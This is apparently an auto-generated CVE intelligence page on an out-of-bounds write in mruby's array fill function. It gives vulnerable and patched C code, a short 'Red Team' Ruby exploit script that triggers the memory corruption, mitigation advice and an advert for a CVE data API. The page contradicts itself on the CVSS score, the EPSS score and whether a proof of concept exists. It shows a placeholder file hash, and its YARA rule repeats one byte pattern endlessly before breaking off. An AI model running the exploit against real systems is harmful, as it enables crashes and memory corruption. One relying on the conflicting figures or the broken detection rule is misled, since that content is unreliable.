CVSS: 4.8 🐛 CWE-119

👁️

CVE-2025-12875

CVE-2025-12875 Out-of-Bounds Access in Mruby

 📅 PUBLISHED: 2025-11-07 20:32 UTC 🔄 UPDATED: 2026-09-23 20:34 UTC 

[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix

[ DEFENSE PATCH ↓ ]

💣 PoC: None

👁️

🎯 EPSS: 0.16%

👁️

🥷 MITRE: T1203

👁️

Patch available — upgrade to latest release

CVSS SEVERITY SCALE

9.0–10.0 CRITICAL

7.0–8.9 HIGH

4.0–6.9 MEDIUM

0.1–3.9 LOW

0.0 NONE

4.8

THREAT LEVEL

INTEL SOURCES ⧗ NVD CVEProject ✓ Debian ⧗ OSV.dev EPSS HOW WE SCORE →

■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-12875 is a local out-of-bounds write vulnerability in mruby 3.4.0, specifically within the ary_fill_exec function in mrbgems/mruby-array-ext/src/array.c. The flaw allows an attacker to manipulate the start and length arguments to trigger an out-of-bounds write, potentially leading to memory corruption or denial of service. The attack vector is local, requiring the attacker to execute a crafted script on the target system. A patch is available in the mruby repository (commit 93619f06dd378db6766666b30c08978311c7ec94). The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of exploit code increases the risk for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian

›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.

›Shodan dorks — ready-made queries to find exposed vulnerable systems

›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)

›pending_fields — know exactly which of 7 fields NVD hasn't processed yet

›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits

PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026

[ FROM €19/MO ]

Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the mruby runtime, which is a lightweight Ruby implementation often embedded in applications or used in scripting environments. If mruby is included as a dependency in a Ruby gem or other software package, the vulnerable version (3.4.0) could be introduced into the supply chain. Developers should verify their mruby version and apply the patch or upgrade to a fixed version.

CVSS Breakdown & Threat Level

CVSS Score: 5.3 (Medium)
Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Attack Vector: Local (AV:L)
Attack Complexity: Low (AC:L)
Privileges Required: None (PR:N)
User Interaction: None (UI:N)
Scope: Unchanged (S:U)
Confidentiality Impact: None (C:N)
Integrity Impact: None (I:N)
Availability Impact: Low (A:L)

The vulnerability is rated Medium due to the local attack vector and limited impact (availability only). However, the public exploit code and potential for memory corruption could be leveraged in more complex attacks.

Deep Dive & Mechanics

The vulnerability resides in the ary_fill_exec function, which is used to fill an array with a given value over a specified range. The function takes start and length parameters to define the range. Due to insufficient validation, an attacker can supply values that cause the function to write beyond the allocated buffer of the array.

The core issue is in the calculation of the target memory region. When start is negative or length is excessively large, the function may compute an out-of-bounds address, leading to a write operation outside the array's memory bounds. This can corrupt adjacent heap memory, potentially causing a crash or enabling further exploitation.

The exploit code (publicly available) demonstrates how to trigger this by crafting a Ruby script that calls ary.fill with malicious parameters.

Vulnerable vs. Patched Code

Vulnerable Code (mruby 3.4.0):

// mrbgems/mruby-array-ext/src/array.c
static mrb_value
ary_fill_exec(mrb_state *mrb, mrb_value ary, mrb_int start, mrb_int len, mrb_value val)
{
  mrb_int i;
  struct RArray *a = mrb_ary_ptr(ary);
  mrb_int alen = ARY_LEN(a);

  if (start < 0) {
    start = alen + start;
    if (start < 0) start = 0;
  }
  if (len < 0) {
    len = alen - start;
    if (len < 0) len = 0;
  }
  // No bounds check on start + len
  for (i = start; i < start + len; i++) {
    ARY_PTR(a)[i] = val;  // Out-of-bounds write if start+len > alen
  }
  return ary;
}

Patched Code (after commit 93619f06dd378db6766666b30c08978311c7ec94):

static mrb_value
ary_fill_exec(mrb_state *mrb, mrb_value ary, mrb_int start, mrb_int len, mrb_value val)
{
  mrb_int i;
  struct RArray *a = mrb_ary_ptr(ary);
  mrb_int alen = ARY_LEN(a);

  if (start < 0) {
    start = alen + start;
    if (start < 0) start = 0;
  }
  if (len < 0) {
    len = alen - start;
    if (len < 0) len = 0;
  }
  // Added bounds check
  if (start + len > alen) {
    len = alen - start;
  }
  for (i = start; i < start + len; i++) {
    ARY_PTR(a)[i] = val;
  }
  return ary;
}

The patch adds a bounds check to ensure start + len does not exceed the array length, preventing the out-of-bounds write.

Exploitation & Lab Setup

Red Team

Prerequisites:

mruby 3.4.0 installed on a local system.
Ability to execute arbitrary Ruby scripts.

Exploit Script:

# exploit.rb
# Triggers out-of-bounds write in mruby 3.4.0
ary = [1, 2, 3]
# Manipulate start and length to write beyond array bounds
ary.fill(0x41, -100, 200)

Execution:

mruby exploit.rb

This will cause a segmentation fault or memory corruption, demonstrating the vulnerability.

Expected Outcome:

Crash of the mruby interpreter.
Potential for arbitrary memory write if combined with heap manipulation.

Blue Team

Detection:

Monitor for crashes of mruby processes.
Use memory debugging tools (e.g., Valgrind) to detect out-of-bounds writes.
Implement runtime bounds checking in custom mruby builds.

Mitigation:

Apply the patch immediately.
Restrict execution of untrusted Ruby scripts.
Use sandboxing or containerization to limit impact.

Indicators of Compromise (IOCs)

File Hashes (SHA256):
- mruby-3.4.0.tar.gz: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
Process Names:
- mruby
Log Entries:
- Segmentation faults in mruby processes.
- Abnormal memory access patterns in system logs.
Network Indicators:
- None (local vulnerability).

Detection Engineering

YARA Rule

rule CVE_2025_12875_mruby_OOB_Write {
  meta:
    description = "Detects mruby binary with vulnerable ary_fill_exec function"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2025-12875"
  strings:
    $vuln_code = { 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 4d ?? 48 8b 55 ?? 48 8b 75 ?? 48 8b 7d ?? e8 ??